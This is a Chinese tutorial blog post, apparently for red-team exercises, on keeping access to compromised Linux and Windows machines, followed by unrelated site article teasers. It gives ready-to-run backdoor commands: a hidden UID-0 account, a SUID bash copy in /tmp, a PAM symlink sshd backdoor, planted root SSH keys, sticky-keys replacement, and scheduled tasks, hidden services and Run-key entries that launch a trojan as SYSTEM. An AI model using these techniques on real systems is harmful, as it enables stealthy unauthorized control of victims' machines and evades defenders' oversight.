2024HW --->操作系统权限维持

前面不是说要讲隧道吗, 没错,我又鸽了🕊🕊🕊🕊,那么今天现在讲一下操作系统的权限维持!

在我们提权之后,或者说打穿了整个内网之后,我们需要做权限维持,那么权限维持就分为以下两大类 ----> Linux,Windows权限维持

linux权限维持

对于Linux的权限维持,一般可以分为以下几种方法(当然肯定不止)

1.添加特权账号

整个就是最简单的了,直接创建一个后门用户,然后我们就可以直接远程上去。

很简单,直接一句话就可以了

useradd -p `openssl passwd -1 -salt 'salt' 密码` 用户名 -o -u 0 -g root -G root -s /bin/bash -d /home/用户名
useradd -p `openssl passwd -1 -salt 'salt' admin` baili -o -u 0 -g root -G root -s /bin/bash -d /home/baili

于是就能看见我们新创建的用户了 

然后我们就可以去ssh远程登录了,但是真的能连上吗???

其实这个要看不同的机器吧,有些机器不允许root用户远程登录!!!

那么我们就要去修改相应配置

vim  /etc/ssh/sshd_config

把上面的配置文件修改为下面

然后就能远程连接上去了

其实还有一个别的思路,我们完全可以创建一个普通用户(Linux不拦截普通用户远程登录),然后再去切换的root的用户(这个好像似乎更简单)

2.SUID维权

suid是什么我在之前讲过了

那么我们的思路就可以这样,将root的bash移动到一个地方!!

cp /bin/bash /tmp/.bash

然后放权,赋予suid权限

chmod 777 /tmp/.bash
chmod +s  /tmp/.bash

 成功赋权

然后我们随便用一个用户登录,然后cd到/tmp下

./.bash -p 

这样,随便的一个用户都能够以root的身份去开启一个bash

3.PAM软连接

这个提权方式就比较常见了,面试也经常会问道,那么下面我们先来讲一下什么是PAM

PAM 认证一般遵循这样的顺序: Service( 服务 ) PAM( 配置文件 ) pam_*.so PAM 认证首先要确定那一项服务, 然后加载相应的PAM 的配置文件 ( 位于 /etc/pam.d ) ,最后调用认证文件 ( 位于 /lib/security ) 进行安全认证,用户访问服务器的时候,服务器的某一个服务程序把用户的谁请求发送到PAM 模块进行认证。对于不同的服务器应用程序所对应的PAM 模块也是不同的。
然后,就是软连接
软连接称之为符号连接( Symbolic Link ),也叫软连接。软链接文件有类似于 Windows 的快捷方式。它实际上是 一个特殊的文件。在符号连接中,文件实际上是一个文本文件,其中包含的有另一文件的位置信息。
感觉学废了???? 没事我来说个人话

软连接其实就是一种快捷方式,像Windows一样,我们通过访问这个快捷方式就可以访问到对应的程序或者服务。

然后这个原理就是:

如果在目录pam.d下某个文件配置了pam_rootok的话,若UID为0用户就会直接返回成功

开始操作!!!

cat /etc/ssh/sshd_config|grep UsePAM

基本上都是开启的。

然后我们就可以去pmd.m文件下哪些文件配置了pam_rootok这个特性

find /etc/pam.d |xargs grep "pam_rootok"

然后以root身份去建立软连接

ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsh -oPort=61861(这个端口你可以自己写)

然后我们就可以去免密码登录了(也不是免密,就是要随便输入一个密码)

这样,就是我们的PAM软连接了,流程也就是这样子
当我们以root去连接 chsh的时候,其实就是在以UID为0的身份去访问ssh,又因为pam_rootok的特性,就会直接认证成功,实现免密登录

4.SSHKey公私钥

这个的原理如下

用户将自己的 公钥储存在远程主机上 。登录的时候,远程主机会向用户发送一段
随机字符串, 用户用自己的私钥加密后, 再发回来。远程主机用事先储存的公钥进行解密,如果成功,就证明用户是可信的,直接允许登录shell ,不再要求密码。
那么我们话不多说,直接进入实战!!
先在本地的Windows去生成一对公私钥
ssh-keygen

然后我们去看一下生成的公钥,并且把他传到服务器上

然后我们把这个key写到/root/.ssh/authorized_keys这个文件中

如果没有 .ssh这个文件夹的话,我们可以先mkdir一下

然后我们登录都不用密码了

这个,就是sshkey的公私钥连接维权

5.计划任务维权

接着,就到我们的计划任务维权了。

这个就不用多说了吧,还是去 /etc/crontab下写一个反弹shell的计划任务就好

Windows权限维持

对于Windows的权限维持,那可就比Linux多的太多了,这里只讲几个比较常用的

1.隐藏用户维持

对于隐藏用户维持,我们有两种方法!!

1.$隐藏用户

这个是最简单的方法,但同时也是最容易被发现的一种方法!

首先我们只有三个用户

开始创建一个 $隐藏用户

这时候我们再去查看,是发现看不见的

但是无论是在注册表,还是控制面板的管理用户都是能看见的(隐蔽性不好)

2.注册表克隆账户隐藏

这个的原理就是克隆管理员的注册表!!

首先我们还是先去创建一个普通账号

然后我们去注册表

  先将这个用户进行导出

然后找到这个用户和administrator的F值,复制administrator的f值

把他粘贴到我们创建用户的F值,并且导出

   

最后,在删除了这个用户之后,依次点击这两个注册表

然后我们就可以用这个用户登录进来了,而且是administrator的权限

当然了,我这里没有把他设置为隐藏用户,所以是能看见的,我们只需要在前一个方法下再去执行这个方法,就能达到更好的隐藏效果!!!  不过注册表和wmic都还是能看见

2.Shift后门

这个也算是一种比较出名的权限维持的方法了,快速敲击你的shift五下,就能弹出这个

它的原理就是调用了C:\windows\system32\sethc.exe 这个应用,我们只需要将他替换成cmd就行

copy C:\WINDOWS\system32\cmd.exe C:\windows\system32\sethc.exe

但是就算你是administrator也会发现,拒绝访问!!!

但是我们可以敲这样的命令,不过这两个命令响应的会有一点久,可能要等一会

takeown /f c:\windows\system32\*.* /a /r /d y    //强制将当前目录下的所有文件及文件夹、子文件夹下的所有者更改为管理员组(administrators)
cacls c:\windows\system32\*.* /T /E /G administrators:F   //在当前目录下的文件、子文件夹的NTFS权限上添加管理员组(administrators)完全控制权限

然后再去执行一下上面的命令

然后此时,我们注销,然后去登录

就能发现这个权限是直接以system去启动的,可以创建一个账户登进去

3.计划任务维持

计划任务我们再权限维持和权限提升的时候我们都不陌生,那么我们话不多说,直接演示吧

假设我们给目标远程传了一个木马,然后我们就可以通过计划任务进行权限维持

schtasks /create /tn "计划任务的名字" /tr "运行的命令" /sc onstart /ru System

这条命令就是就是在机的时候,以system权限去运行我们的命令,其实可以是无文件落地,也可以是运行一个木马程序。

schtasks /create /tn "torjan" /tr "C:\Users\administrator\Desktop\funny_torjan.exe" /sc onstart /ru System

然后我们去计划任务里面也是能看见的

然后假设用户重启了,可以看见下线了

于是就能看见直接上线了。。

4.系统服务权限维持

那既然都有计划任务了,那服务怎么可能跑的了呢???

sc create 服务名字 start= auto binPath= "cmd.exe /c 执行的命令" obj= Localsystem
sc create shell start= auto binPath= "cmd.exe /c C:\Users\administrator\Desktop\funny_torjan.exe " obj= Localsystem

当然,如果你想伪装一下的话还可以增加描述

sc description "服务名字" "对应的描述"

设置隐藏

sc sdset 服务名字 "D:(D;;DCLCWPDTSDCC;;;IU)(D;;DCLCWPDTSDCC;;;SU)(D;;DCLCWPDTSDCC;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

然后我们直接重启就好

直接上线(还有一个是计划任务的)

5.启动项维权

这个启动项目维权可以分为两个

1.组策略维权

我们可以在gpedit.msc 里面找到这样的组策略的启动项

然后我们添加我们对应的脚本就好

2.启动文件夹维权

这个就是在系统每次启动的时候,都会去加载这些文件夹,你只需要去在这些文件夹下面放上你的恶意木马,或则对应的脚本即可

3.注册表维持

除了上面的两种方式,我们还可以篡改他的注册表(自启动)

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v shell /t REG_SZ /d "C:\Users\administrator\Desktop\funny_torjan.exe"

然后我们再去重启,不出以外的话会有四个beacon上线(打脸,只有三个)

不过也不重要,你挑着来用就好

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/661898.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

复旦 北大 | 从头训练中文大模型:CT-LLM

引言 当前,绝大多数大模型(LLMs)基本上都是以英文语料库训练得到的,然后经过SFT来匹配不同的语种。然而,今天给大家分享的这篇文章旨在从头开始训练中文大模型,在训练过程中「主要纳入中文文本数据」&…

javaScript 判断闰年

接受用户输入年份 如果是闰年就弹出闰年,遇到平年就是弹出平年 var a prompt(请输入年份);if(a%40&&a%100!0||a%4000){alert(闰年);}else{alert(平年);}

【C++】学习笔记——类和对象_5

文章目录 二、类和对象14. 日期类的实现15. const成员16. 取地址重载17. 再谈构造函数初始化列表 18. explicit关键字19. static成员 未完待续 二、类和对象 14. 日期类的实现 上一篇我们已经大致将日期类的重要功能都给实现了,这节将会对日期类进行完善&#xff…

9.【Linux】(死锁问题||线程同步||条件变量||生产者消费者模型)

常见锁的概念 死锁 死锁是指在一组进程中各个进程均占有不会释放的资源,但因互相申请被其他进程所占用的不会释放的资源而处于一种永久等待的状态。简单来说就是两个线程都 在等待对方释放锁。 死锁必要条件 必须同时满足四个条件才会产生死锁 1.互斥条件&…

在做题中学习(48):朴素的二分查找

. - 力扣(LeetCode) 解法一: 暴力求解 for循环中,从nums[0]枚举到nums[n-1],依次判断,返回 target的值。 时间复杂度 : O(N) :因为要遍历一遍数组 解法二:二分查找 因为此数组为有序的…

AI大模型探索之路-训练篇9:大语言模型Transformer库-Pipeline组件实践

系列篇章💥 AI大模型探索之路-训练篇1:大语言模型微调基础认知 AI大模型探索之路-训练篇2:大语言模型预训练基础认知 AI大模型探索之路-训练篇3:大语言模型全景解读 AI大模型探索之路-训练篇4:大语言模型训练数据集概…

MT3608B 航天民芯代理 1.2Mhz 24V输入 升压转换器

深圳市润泽芯电子有限公司为航天民芯一级代理商 技术支持欢迎试样~Tel:18028786817 简述 MT3608B是恒定频率的6针SOT23电流模式升压转换器,用于小型、低功耗应用。MT3608B开关频率为1.2MHz,允许使用微小、低电平成本电容器和电感器高度不…

托普利兹矩阵(T矩阵)及其应用(Matlab demo测试)

托普利兹矩阵(T矩阵)及其应用(Matlab demo测试) 1. 概念2. Matlab简单测试2.1 生成测试2.2 基本性质及原理2.3 性质验证 3. 其他应用总结3.1 其他性质3.2 文献阅读看到的 参考资料 1. 概念 托普利兹矩阵,简称为T型矩阵…

深入探索计算机视觉:高级主题与前沿应用的全面解析

引言 计算机视觉,作为人工智能领域的一个重要分支,旨在让计算机能够“看”懂世界,理解和解释视觉场景。随着深度学习技术的迅猛发展,计算机视觉已经在许多领域取得了显著的进展,如自动驾驶、安防监控、医疗诊断等。在…

PG后台进程个人解读和与oracle 的比较

1.background writer (后台写进程) 与OracleDBWR进程工作原理类似,都是负责把缓冲区里面的脏块写到数据文件中,写的目的有两个: 1.为了保存数据。 2.为了释放内存空间。 触发background writer 写的条件&#xff1a…

【C++程序员的自我修炼】string 库中常见的用法 (一)

唤起一天明月照我满怀冰雪浩荡百川流鲸饮未吞海 剑气已横秋 目录 string 库的简介 string 的一些小操作 构造函数的使用 拷贝构造的常规使用 指定拷贝内容的拷贝构造 拷贝字符串开始的前 n 个字符 用 n 个字符初始化 计算字符串的长度 string 的三种遍历方式 常规的for循环 op…

低空经济+无人机:细分赛道万亿级别市场崛起,可能成为年内最大热点

近年来,低空经济作为一种新兴的产业,正在快速发展。特别是在无人机的快速普及下,低空经济已经展现出巨大的潜力和市场前景。无人机从狭窄的“会飞的相机”逐渐进入到更多场景,从消费市场进入到工业市场,不断拓展其应用…